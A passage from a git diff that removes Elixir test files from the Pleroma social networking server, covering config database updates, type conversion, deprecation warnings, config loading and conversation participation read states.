ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert config.value == updated.value - assert updated.value[:key1] == :val1 - assert updated.value[:key2] == [k1: :v1, k2: :v2, k3: :v3] - assert updated.value[:key3] == :val3 - end - - test "only full update for some keys" do - config1 = insert(:config, key: :ecto_repos, value: [repo: Pleroma.Repo]) - - config2 = insert(:config, group: :cors_plug, key: :max_age, value: 18) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config1.group, - key: config1.key, - value: [another_repo: [Pleroma.Repo]] - }) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config2.group, - key: config2.key, - value: 777 - }) - - updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) - updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) - - assert updated1.value == [another_repo: [Pleroma.Repo]] - assert updated2.value == 777 - end - - test "full update if value is not keyword" do - config = - insert(:config, - group: ":tesla", - key: ":adapter", - value: Tesla.Adapter.Hackney - ) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config.group, - key: config.key, - value: Tesla.Adapter.Httpc - }) - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert updated.value == Tesla.Adapter.Httpc - end - - test "only full update for some subkeys" do - config1 = - insert(:config, - key: ":emoji", - value: [groups: [a: 1, b: 2], key: [a: 1]] - ) - - config2 = - insert(:config, - key: ":assets", - value: [mascots: [a: 1, b: 2], key: [a: 1]] - ) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config1.group, - key: config1.key, - value: [groups: [c: 3, d: 4], key: [b: 2]] - }) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config2.group, - key: config2.key, - value: [mascots: [c: 3, d: 4], key: [b: 2]] - }) - - updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) - updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) - - assert updated1.value == [groups: [c: 3, d: 4], key: [a: 1, b: 2]] - assert updated2.value == [mascots: [c: 3, d: 4], key: [a: 1, b: 2]] - end - end - - describe "delete/1" do - test "error on deleting non existing setting" do - {:error, error} = ConfigDB.delete(%{group: ":pleroma", key: ":key"}) - assert error =~ "Config with params %{group: \":pleroma\", key: \":key\"} not found" - end - - test "full delete" do - config = insert(:config) - {:ok, deleted} = ConfigDB.delete(%{group: config.group, key: config.key}) - assert Ecto.get_meta(deleted, :state) == :deleted - refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) - end - - test "partial subkeys delete" do - config = insert(:config, value: [groups: [a: 1, b: 2], key: [a: 1]]) - - {:ok, deleted} = - ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) - - assert Ecto.get_meta(deleted, :state) == :loaded - - assert deleted.value == [key: [a: 1]] - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert updated.value == deleted.value - end - - test "full delete if remaining value after subkeys deletion is empty list" do - config = insert(:config, value: [groups: [a: 1, b: 2]]) - - {:ok, deleted} = - ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) - - assert Ecto.get_meta(deleted, :state) == :deleted - - refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) - end - end - - describe "to_elixir_types/1" do - test "string" do - assert ConfigDB.to_elixir_types("value as string") == "value as string" - end - - test "boolean" do - assert ConfigDB.to_elixir_types(false) == false - end - - test "nil" do - assert ConfigDB.to_elixir_types(nil) == nil - end - - test "integer" do - assert ConfigDB.to_elixir_types(150) == 150 - end - - test "atom" do - assert ConfigDB.to_elixir_types(":atom") == :atom - end - - test "ssl options" do - assert ConfigDB.to_elixir_types([":tlsv1", ":tlsv1.1", ":tlsv1.2"]) == [ - :tlsv1, - :"tlsv1.1", - :"tlsv1.2" - ] - end - - test "pleroma module" do - assert ConfigDB.to_elixir_types("Pleroma.Bookmark") == Pleroma.Bookmark - end - - test "pleroma string" do - assert ConfigDB.to_elixir_types("Pleroma") == "Pleroma" - end - - test "phoenix module" do - assert ConfigDB.to_elixir_types("Phoenix.Socket.V1.JSONSerializer") == - Phoenix.Socket.V1.JSONSerializer - end - - test "tesla module" do - assert ConfigDB.to_elixir_types("Tesla.Adapter.Hackney") == Tesla.Adapter.Hackney - end - - test "ExSyslogger module" do - assert ConfigDB.to_elixir_types("ExSyslogger") == ExSyslogger - end - - test "Quack.Logger module" do - assert ConfigDB.to_elixir_types("Quack.Logger") == Quack.Logger - end - - test "Swoosh.Adapters modules" do - assert ConfigDB.to_elixir_types("Swoosh.Adapters.SMTP") == Swoosh.Adapters.SMTP - assert ConfigDB.to_elixir_types("Swoosh.Adapters.AmazonSES") == Swoosh.Adapters.AmazonSES - end - - test "sigil" do - assert ConfigDB.to_elixir_types("~r[comp[lL][aA][iI][nN]er]") == ~r/comp[lL][aA][iI][nN]er/ - end - - test "link sigil" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/") == ~r/https:\/\/example.com/ - end - - test "link sigil with um modifiers" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/um") == - ~r/https:\/\/example.com/um - end - - test "link sigil with i modifier" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/i") == ~r/https:\/\/example.com/i - end - - test "link sigil with s modifier" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/s") == ~r/https:\/\/example.com/s - end - - test "raise if valid delimiter not found" do - assert_raise ArgumentError, "valid delimiter for Regex expression not found", fn -> - ConfigDB.to_elixir_types("~r/https://[]{}<>\"'()|example.com/s") - end - end - - test "2 child tuple" do - assert ConfigDB.to_elixir_types(%{"tuple" => ["v1", ":v2"]}) == {"v1", :v2} - end - - test "proxy tuple with localhost" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}] - }) == {:proxy_url, {:socks5, :localhost, 1234}} - end - - test "proxy tuple with domain" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}] - }) == {:proxy_url, {:socks5, 'domain.com', 1234}} - end - - test "proxy tuple with ip" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}] - }) == {:proxy_url, {:socks5, {127, 0, 0, 1}, 1234}} - end - - test "tuple with n childs" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [ - "v1", - ":v2", - "Pleroma.Bookmark", - 150, - false, - "Phoenix.Socket.V1.JSONSerializer" - ] - }) == {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer} - end - - test "map with string key" do - assert ConfigDB.to_elixir_types(%{"key" => "value"}) == %{"key" => "value"} - end - - test "map with atom key" do - assert ConfigDB.to_elixir_types(%{":key" => "value"}) == %{key: "value"} - end - - test "list of strings" do - assert ConfigDB.to_elixir_types(["v1", "v2", "v3"]) == ["v1", "v2", "v3"] - end - - test "list of modules" do - assert ConfigDB.to_elixir_types(["Pleroma.Repo", "Pleroma.Activity"]) == [ - Pleroma.Repo, - Pleroma.Activity - ] - end - - test "list of atoms" do - assert ConfigDB.to_elixir_types([":v1", ":v2", ":v3"]) == [:v1, :v2, :v3] - end - - test "list of mixed values" do - assert ConfigDB.to_elixir_types([ - "v1", - ":v2", - "Pleroma.Repo", - "Phoenix.Socket.V1.JSONSerializer", - 15, - false - ]) == [ - "v1", - :v2, - Pleroma.Repo, - Phoenix.Socket.V1.JSONSerializer, - 15, - false - ] - end - - test "simple keyword" do - assert ConfigDB.to_elixir_types([%{"tuple" => [":key", "value"]}]) == [key: "value"] - end - - test "keyword" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":types", "Pleroma.PostgresTypes"]}, - %{"tuple" => [":telemetry_event", ["Pleroma.Repo.Instrumenter"]]}, - %{"tuple" => [":migration_lock", nil]}, - %{"tuple" => [":key1", 150]}, - %{"tuple" => [":key2", "string"]} - ]) == [ - types: Pleroma.PostgresTypes, - telemetry_event: [Pleroma.Repo.Instrumenter], - migration_lock: nil, - key1: 150, - key2: "string" - ] - end - - test "trandformed keyword" do - assert ConfigDB.to_elixir_types(a: 1, b: 2, c: "string") == [a: 1, b: 2, c: "string"] - end - - test "complex keyword with nested mixed childs" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":uploader", "Pleroma.Uploaders.Local"]}, - %{"tuple" => [":filters", ["Pleroma.Upload.Filter.Dedupe"]]}, - %{"tuple" => [":link_name", true]}, - %{"tuple" => [":proxy_remote", false]}, - %{"tuple" => [":common_map", %{":key" => "value"}]}, - %{ - "tuple" => [ - ":proxy_opts", - [ - %{"tuple" => [":redirect_on_failure", false]}, - %{"tuple" => [":max_body_length", 1_048_576]}, - %{ - "tuple" => [ - ":http", - [ - %{"tuple" => [":follow_redirect", true]}, - %{"tuple" => [":pool", ":upload"]} - ] - ] - } - ] - ] - } - ]) == [ - uploader: Pleroma.Uploaders.Local, - filters: [Pleroma.Upload.Filter.Dedupe], - link_name: true, - proxy_remote: false, - common_map: %{key: "value"}, - proxy_opts: [ - redirect_on_failure: false, - max_body_length: 1_048_576, - http: [ - follow_redirect: true, - pool: :upload - ] - ] - ] - end - - test "common keyword" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":level", ":warn"]}, - %{"tuple" => [":meta", [":all"]]}, - %{"tuple" => [":path", ""]}, - %{"tuple" => [":val", nil]}, - %{"tuple" => [":webhook_url", "https://hooks.slack.com/services/YOUR-KEY-HERE"]} - ]) == [ - level: :warn, - meta: [:all], - path: "", - val: nil, - webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE" - ] - end - - test "complex keyword with sigil" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":federated_timeline_removal", []]}, - %{"tuple" => [":reject", ["~r/comp[lL][aA][iI][nN]er/"]]}, - %{"tuple" => [":replace", []]} - ]) == [ - federated_timeline_removal: [], - reject: [~r/comp[lL][aA][iI][nN]er/], - replace: [] - ] - end - - test "complex keyword with tuples with more than 2 values" do - assert ConfigDB.to_elixir_types([ - %{ - "tuple" => [ - ":http", - [ - %{ - "tuple" => [ - ":key1", - [ - %{ - "tuple" => [ - ":_", - [ - %{ - "tuple" => [ - "/api/v1/streaming", - "Pleroma.Web.MastodonAPI.WebsocketHandler", - [] - ] - }, - %{ - "tuple" => [ - "/websocket", - "Phoenix.Endpoint.CowboyWebSocket", - %{ - "tuple" => [ - "Phoenix.Transports.WebSocket", - %{ - "tuple" => [ - "Pleroma.Web.Endpoint", - "Pleroma.Web.UserSocket", - [] - ] - } - ] - } - ] - }, - %{ - "tuple" => [ - ":_", - "Phoenix.Endpoint.Cowboy2Handler", - %{"tuple" => ["Pleroma.Web.Endpoint", []]} - ] - } - ] - ] - } - ] - ] - } - ] - ] - } - ]) == [ - http: [ - key1: [ - {:_, - [ - {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, - {"/websocket", Phoenix.Endpoint.CowboyWebSocket, - {Phoenix.Transports.WebSocket, - {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}}, - {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}} - ]} - ] - ] - ] - end - end -end diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs deleted file mode 100644 index 02ada1aab..000000000 --- a/test/config/deprecation_warnings_test.exs +++ /dev/null @@ -1,140 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.DeprecationWarningsTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - - import ExUnit.CaptureLog - - alias Pleroma.Config - alias Pleroma.Config.DeprecationWarnings - - test "check_old_mrf_config/0" do - clear_config([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.NoOpPolicy) - clear_config([:instance, :mrf_transparency], true) - clear_config([:instance, :mrf_transparency_exclusions], []) - - assert capture_log(fn -> DeprecationWarnings.check_old_mrf_config() end) =~ - """ - !!!DEPRECATION WARNING!!! - Your config is using old namespaces for MRF configuration. They should work for now, but you are advised to change to new namespaces to prevent possible issues later: - - * `config :pleroma, :instance, rewrite_policy` is now `config :pleroma, :mrf, policies` - * `config :pleroma, :instance, mrf_transparency` is now `config :pleroma, :mrf, transparency` - * `config :pleroma, :instance, mrf_transparency_exclusions` is now `config :pleroma, :mrf, transparency_exclusions` - """ - end - - test "move_namespace_and_warn/2" do - old_group1 = [:group, :key] - old_group2 = [:group, :key2] - old_group3 = [:group, :key3] - - new_group1 = [:another_group, :key4] - new_group2 = [:another_group, :key5] - new_group3 = [:another_group, :key6] - - clear_config(old_group1, 1) - clear_config(old_group2, 2) - clear_config(old_group3, 3) - - clear_config(new_group1) - clear_config(new_group2) - clear_config(new_group3) - - config_map = [ - {old_group1, new_group1, "\n error :key"}, - {old_group2, new_group2, "\n error :key2"}, - {old_group3, new_group3, "\n error :key3"} - ] - - assert capture_log(fn -> - DeprecationWarnings.move_namespace_and_warn( - config_map, - "Warning preface" - ) - end) =~ "Warning preface\n error :key\n error :key2\n error :key3" - - assert Config.get(new_group1) == 1 - assert Config.get(new_group2) == 2 - assert Config.get(new_group3) == 3 - end - - test "check_media_proxy_whitelist_config/0" do - clear_config([:media_proxy, :whitelist], ["https://example.com", "example2.com"]) - - assert capture_log(fn -> - DeprecationWarnings.check_media_proxy_whitelist_config() - end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" - end - - test "check_welcome_message_config/0" do - clear_config([:instance, :welcome_user_nickname], "LainChan") - - assert capture_log(fn -> - DeprecationWarnings.check_welcome_message_config() - end) =~ "Your config is using the old namespace for Welcome messages configuration." - end - - test "check_hellthread_threshold/0" do - clear_config([:mrf_hellthread, :threshold], 16) - - assert capture_log(fn -> - DeprecationWarnings.check_hellthread_threshold() - end) =~ "You are using the old configuration mechanism for the hellthread filter." - end - - test "check_activity_expiration_config/0" do - clear_config([Pleroma.ActivityExpiration, :enabled], true) - - assert capture_log(fn -> - DeprecationWarnings.check_activity_expiration_config() - end) =~ "Your config is using old namespace for activity expiration configuration." - end - - describe "check_gun_pool_options/0" do - test "await_up_timeout" do - config = Config.get(:connections_pool) - clear_config(:connections_pool, Keyword.put(config, :await_up_timeout, 5_000)) - - assert capture_log(fn -> - DeprecationWarnings.check_gun_pool_options() - end) =~ - "Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`." - end - - test "pool timeout" do - old_config = [ - federation: [ - size: 50, - max_waiting: 10, - timeout: 10_000 - ], - media: [ - size: 50, - max_waiting: 10, - timeout: 10_000 - ], - upload: [ - size: 25, - max_waiting: 5, - timeout: 15_000 - ], - default: [ - size: 10, - max_waiting: 2, - timeout: 5_000 - ] - ] - - clear_config(:pools, old_config) - - assert capture_log(fn -> - DeprecationWarnings.check_gun_pool_options() - end) =~ - "Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings" - end - end -end diff --git a/test/config/holder_test.exs b/test/config/holder_test.exs deleted file mode 100644 index abcaa27dd..000000000 --- a/test/config/holder_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.HolderTest do - use ExUnit.Case, async: true - - alias Pleroma.Config.Holder - - test "default_config/0" do - config = Holder.default_config() - assert config[:pleroma][Pleroma.Uploaders.Local][:uploads] == "test/uploads" - - refute config[:pleroma][Pleroma.Repo] - refute config[:pleroma][Pleroma.Web.Endpoint] - refute config[:pleroma][:env] - refute config[:pleroma][:configurable_from_database] - refute config[:pleroma][:database] - refute config[:phoenix][:serve_endpoints] - refute config[:tesla][:adapter] - end - - test "default_config/1" do - pleroma_config = Holder.default_config(:pleroma) - assert pleroma_config[Pleroma.Uploaders.Local][:uploads] == "test/uploads" - end - - test "default_config/2" do - assert Holder.default_config(:pleroma, Pleroma.Uploaders.Local) == [uploads: "test/uploads"] - end -end diff --git a/test/config/loader_test.exs b/test/config/loader_test.exs deleted file mode 100644 index 607572f4e..000000000 --- a/test/config/loader_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.LoaderTest do - use ExUnit.Case, async: true - - alias Pleroma.Config.Loader - - test "read/1" do - config = Loader.read("test/fixtures/config/temp.secret.exs") - assert config[:pleroma][:first_setting][:key] == "value" - assert config[:pleroma][:first_setting][:key2] == [Pleroma.Repo] - assert config[:quack][:level] == :info - end - - test "filter_group/2" do - assert Loader.filter_group(:pleroma, - pleroma: [ - {Pleroma.Repo, [a: 1, b: 2]}, - {Pleroma.Upload, [a: 1, b: 2]}, - {Pleroma.Web.Endpoint, []}, - env: :test, - configurable_from_database: true, - database: [] - ] - ) == [{Pleroma.Upload, [a: 1, b: 2]}] - end -end diff --git a/test/config/transfer_task_test.exs b/test/config/transfer_task_test.exs deleted file mode 100644 index f53829e09..000000000 --- a/test/config/transfer_task_test.exs +++ /dev/null @@ -1,120 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.TransferTaskTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - alias Pleroma.Config.TransferTask - - setup do: clear_config(:configurable_from_database, true) - - test "transfer config values from db to env" do - refute Application.get_env(:pleroma, :test_key) - refute Application.get_env(:idna, :test_key) - refute Application.get_env(:quack, :test_key) - refute Application.get_env(:postgrex, :test_key) - initial = Application.get_env(:logger, :level) - - insert(:config, key: :test_key, value: [live: 2, com: 3]) - insert(:config, group: :idna, key: :test_key, value: [live: 15, com: 35]) - insert(:config, group: :quack, key: :test_key, value: [:test_value1, :test_value2]) - insert(:config, group: :postgrex, key: :test_key, value: :value) - insert(:config, group: :logger, key: :level, value: :debug) - - TransferTask.start_link([]) - - assert Application.get_env(:pleroma, :test_key) == [live: 2, com: 3] - assert Application.get_env(:idna, :test_key) == [live: 15, com: 35] - assert Application.get_env(:quack, :test_key) == [:test_value1, :test_value2] - assert Application.get_env(:logger, :level) == :debug - assert Application.get_env(:postgrex, :test_key) == :value - - on_exit(fn -> - Application.delete_env(:pleroma, :test_key) - Application.delete_env(:idna, :test_key) - Application.delete_env(:quack, :test_key) - Application.delete_env(:postgrex, :test_key) - Application.put_env(:logger, :level, initial) - end) - end - - test "transfer config values for 1 group and some keys" do - level = Application.get_env(:quack, :level) - meta = Application.get_env(:quack, :meta) - - insert(:config, group: :quack, key: :level, value: :info) - insert(:config, group: :quack, key: :meta, value: [:none]) - - TransferTask.start_link([]) - - assert Application.get_env(:quack, :level) == :info - assert Application.get_env(:quack, :meta) == [:none] - default = Pleroma.Config.Holder.default_config(:quack, :webhook_url) - assert Application.get_env(:quack, :webhook_url) == default - - on_exit(fn -> - Application.put_env(:quack, :level, level) - Application.put_env(:quack, :meta, meta) - end) - end - - test "transfer config values with full subkey update" do - clear_config(:emoji) - clear_config(:assets) - - insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) - insert(:config, key: :assets, value: [mascots: [a: 1, b: 2]]) - - TransferTask.start_link([]) - - emoji_env = Application.get_env(:pleroma, :emoji) - assert emoji_env[:groups] == [a: 1, b: 2] - assets_env = Application.get_env(:pleroma, :assets) - assert assets_env[:mascots] == [a: 1, b: 2] - end - - describe "pleroma restart" do - setup do - on_exit(fn -> Restarter.Pleroma.refresh() end) - end - - test "don't restart if no reboot time settings were changed" do - clear_config(:emoji) - insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) - - refute String.contains?( - capture_log(fn -> TransferTask.start_link([]) end), - "pleroma restarted" - ) - end - - test "on reboot time key" do - clear_config(:chat) - insert(:config, key: :chat, value: [enabled: false]) - assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" - end - - test "on reboot time subkey" do - clear_config(Pleroma.Captcha) - insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) - assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" - end - - test "don't restart pleroma on reboot time key and subkey if there is false flag" do - clear_config(:chat) - clear_config(Pleroma.Captcha) - - insert(:config, key: :chat, value: [enabled: false]) - insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) - - refute String.contains?( - capture_log(fn -> TransferTask.load_and_update_env([], false) end), - "pleroma restarted" - ) - end - end -end diff --git a/test/config_test.exs b/test/config_test.exs deleted file mode 100644 index 1556e4237..000000000 --- a/test/config_test.exs +++ /dev/null @@ -1,139 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConfigTest do - use ExUnit.Case - - test "get/1 with an atom" do - assert Pleroma.Config.get(:instance) == Application.get_env(:pleroma, :instance) - assert Pleroma.Config.get(:azertyuiop) == nil - assert Pleroma.Config.get(:azertyuiop, true) == true - end - - test "get/1 with a list of keys" do - assert Pleroma.Config.get([:instance, :public]) == - Keyword.get(Application.get_env(:pleroma, :instance), :public) - - assert Pleroma.Config.get([Pleroma.Web.Endpoint, :render_errors, :view]) == - get_in( - Application.get_env( - :pleroma, - Pleroma.Web.Endpoint - ), - [:render_errors, :view] - ) - - assert Pleroma.Config.get([:azerty, :uiop]) == nil - assert Pleroma.Config.get([:azerty, :uiop], true) == true - end - - describe "nil values" do - setup do - Pleroma.Config.put(:lorem, nil) - Pleroma.Config.put(:ipsum, %{dolor: [sit: nil]}) - Pleroma.Config.put(:dolor, sit: %{amet: nil}) - - on_exit(fn -> Enum.each(~w(lorem ipsum dolor)a, &Pleroma.Config.delete/1) end) - end - - test "get/1 with an atom for nil value" do - assert Pleroma.Config.get(:lorem) == nil - end - - test "get/2 with an atom for nil value" do - assert Pleroma.Config.get(:lorem, true) == nil - end - - test "get/1 with a list of keys for nil value" do - assert Pleroma.Config.get([:ipsum, :dolor, :sit]) == nil - assert Pleroma.Config.get([:dolor, :sit, :amet]) == nil - end - - test "get/2 with a list of keys for nil value" do - assert Pleroma.Config.get([:ipsum, :dolor, :sit], true) == nil - assert Pleroma.Config.get([:dolor, :sit, :amet], true) == nil - end - end - - test "get/1 when value is false" do - Pleroma.Config.put([:instance, :false_test], false) - Pleroma.Config.put([:instance, :nested], []) - Pleroma.Config.put([:instance, :nested, :false_test], false) - - assert Pleroma.Config.get([:instance, :false_test]) == false - assert Pleroma.Config.get([:instance, :nested, :false_test]) == false - end - - test "get!/1" do - assert Pleroma.Config.get!(:instance) == Application.get_env(:pleroma, :instance) - - assert Pleroma.Config.get!([:instance, :public]) == - Keyword.get(Application.get_env(:pleroma, :instance), :public) - - assert_raise(Pleroma.Config.Error, fn -> - Pleroma.Config.get!(:azertyuiop) - end) - - assert_raise(Pleroma.Config.Error, fn -> - Pleroma.Config.get!([:azerty, :uiop]) - end) - end - - test "get!/1 when value is false" do - Pleroma.Config.put([:instance, :false_test], false) - Pleroma.Config.put([:instance, :nested], []) - Pleroma.Config.put([:instance, :nested, :false_test], false) - - assert Pleroma.Config.get!([:instance, :false_test]) == false - assert Pleroma.Config.get!([:instance, :nested, :false_test]) == false - end - - test "put/2 with a key" do - Pleroma.Config.put(:config_test, true) - - assert Pleroma.Config.get(:config_test) == true - end - - test "put/2 with a list of keys" do - Pleroma.Config.put([:instance, :config_test], true) - Pleroma.Config.put([:instance, :config_nested_test], []) - Pleroma.Config.put([:instance, :config_nested_test, :x], true) - - assert Pleroma.Config.get([:instance, :config_test]) == true - assert Pleroma.Config.get([:instance, :config_nested_test, :x]) == true - end - - test "delete/1 with a key" do - Pleroma.Config.put([:delete_me], :delete_me) - Pleroma.Config.delete([:delete_me]) - assert Pleroma.Config.get([:delete_me]) == nil - end - - test "delete/2 with a list of keys" do - Pleroma.Config.put([:delete_me], hello: "world", world: "Hello") - Pleroma.Config.delete([:delete_me, :world]) - assert Pleroma.Config.get([:delete_me]) == [hello: "world"] - Pleroma.Config.put([:delete_me, :delete_me], hello: "world", world: "Hello") - Pleroma.Config.delete([:delete_me, :delete_me, :world]) - assert Pleroma.Config.get([:delete_me, :delete_me]) == [hello: "world"] - - assert Pleroma.Config.delete([:this_key_does_not_exist]) - assert Pleroma.Config.delete([:non, :existing, :key]) - end - - test "fetch/1" do - Pleroma.Config.put([:lorem], :ipsum) - Pleroma.Config.put([:ipsum], dolor: :sit) - - assert Pleroma.Config.fetch([:lorem]) == {:ok, :ipsum} - assert Pleroma.Config.fetch(:lorem) == {:ok, :ipsum} - assert Pleroma.Config.fetch([:ipsum, :dolor]) == {:ok, :sit} - assert Pleroma.Config.fetch([:lorem, :ipsum]) == :error - assert Pleroma.Config.fetch([:loremipsum]) == :error - assert Pleroma.Config.fetch(:loremipsum) == :error - - Pleroma.Config.delete([:lorem]) - Pleroma.Config.delete([:ipsum]) - end -end diff --git a/test/conversation/participation_test.exs b/test/conversation/participation_test.exs deleted file mode 100644 index 59a1b6492..000000000 --- a/test/conversation/participation_test.exs +++ /dev/null @@ -1,363 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Conversation.ParticipationTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Conversation - alias Pleroma.Conversation.Participation - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - test "getting a participation will also preload things" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) - - [participation] = Participation.for_user(user) - - participation = Participation.get(participation.id, preload: [:conversation]) - - assert %Pleroma.Conversation{} = participation.conversation - end - - test "for a new conversation or a reply, it doesn't mark the author's participation as unread" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _} = - CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - [%{read: true}] = Participation.for_user(user) - [%{read: false} = participation] = Participation.for_user(other_user) - - assert User.get_cached_by_id(user.id).unread_conversation_count == 0 - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 1 - - {:ok, _} = - CommonAPI.post(other_user, %{ - status: "Hey @#{user.nickname}.", - visibility: "direct", - in_reply_to_conversation_id: participation.id - }) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - [%{read: false}] = Participation.for_user(user) - [%{read: true}] = Participation.for_user(other_user) - - assert User.get_cached_by_id(user.id).unread_conversation_count == 1 - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 - end - - test "for a new conversation, it sets the recipents of the participation" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - [participation] = Participation.for_user(user) - participation = Pleroma.Repo.preload(participation, :recipients) - - assert length(participation.recipients) == 2 - assert user in participation.recipients - assert other_user in participation.recipients - - # Mentioning another user in the same conversation will not add a new recipients. - - {:ok, _activity} = - CommonAPI.post(user, %{ - in_reply_to_status_id: activity.id, - status: "Hey @#{third_user.nickname}.", - visibility: "direct" - }) - - [participation] = Participation.for_user(user) - participation = Pleroma.Repo.preload(participation, :recipients) - - assert length(participation.recipients) == 2 - end - - test "it creates a participation for a conversation and a user" do - user = insert(:user) - conversation = insert(:conversation) - - {:ok, %Participation{} = participation} = - Participation.create_for_user_and_conversation(user, conversation) - - assert participation.user_id == user.id - assert participation.conversation_id == conversation.id - - # Needed because updated_at is accurate down to a second - :timer.sleep(1000) - - # Creating again returns the same participation - {:ok, %Participation{} = participation_two} = - Participation.create_for_user_and_conversation(user, conversation) - - assert participation.id == participation_two.id - refute participation.updated_at == participation_two.updated_at - end - - test "recreating an existing participations sets it to unread" do - participation = insert(:participation, %{read: true}) - - {:ok, participation} = - Participation.create_for_user_and_conversation( - participation.user, - participation.conversation - ) - - refute participation.read - end - - test "it marks a participation as read" do - participation = insert(:participation, %{read: false}) - {:ok, updated_participation} = Participation.mark_as_read(participation) - - assert updated_participation.read - assert updated_participation.updated_at == participation.updated_at - end - - test "it marks a participation as unread" do - participation = insert(:participation, %{read: true}) - {:ok, participation} = Participation.mark_as_unread(participation) - - refute participation.read - end - - test "it marks all the user's participations as read" do - user = insert(:user) - other_user = insert(:user) - participation1 = insert(:participation, %{read: false, user: user}) - participation2 = insert(:participation, %{read: false, user: user}) - participation3 = insert(:participation, %{read: false, user: other_user}) - - {:ok, _, [%{read: true}, %{read: true}]} = Participation.mark_all_as_read(user) - - assert Participation.get(participation1.id).read == true - assert Participation.get(participation2.id).read == true - assert Participation.get(participation3.id).read == false - end - - test "gets all the participations for a user, ordered by updated at descending" do - user = insert(:user) - {:ok, activity_one} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) - {:ok, activity_two} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) - - {:ok, activity_three} = - CommonAPI.post(user, %{ - status: "x", - visibility: "direct", - in_reply_to_status_id: activity_one.id - }) - - # Offset participations because the accuracy of updated_at is down to a second - - for {activity, offset} <- [{activity_two, 1}, {activity_three, 2}] do - conversation = Conversation.get_for_ap_id(activity.data["context"]) - participation = Participation.for_user_and_conversation(user, conversation) - updated_at = NaiveDateTime.add(Map.get(participation, :updated_at), offset) - - Ecto.Changeset.change(participation, %{updated_at: updated_at}) - |> Repo.update!() - end - - 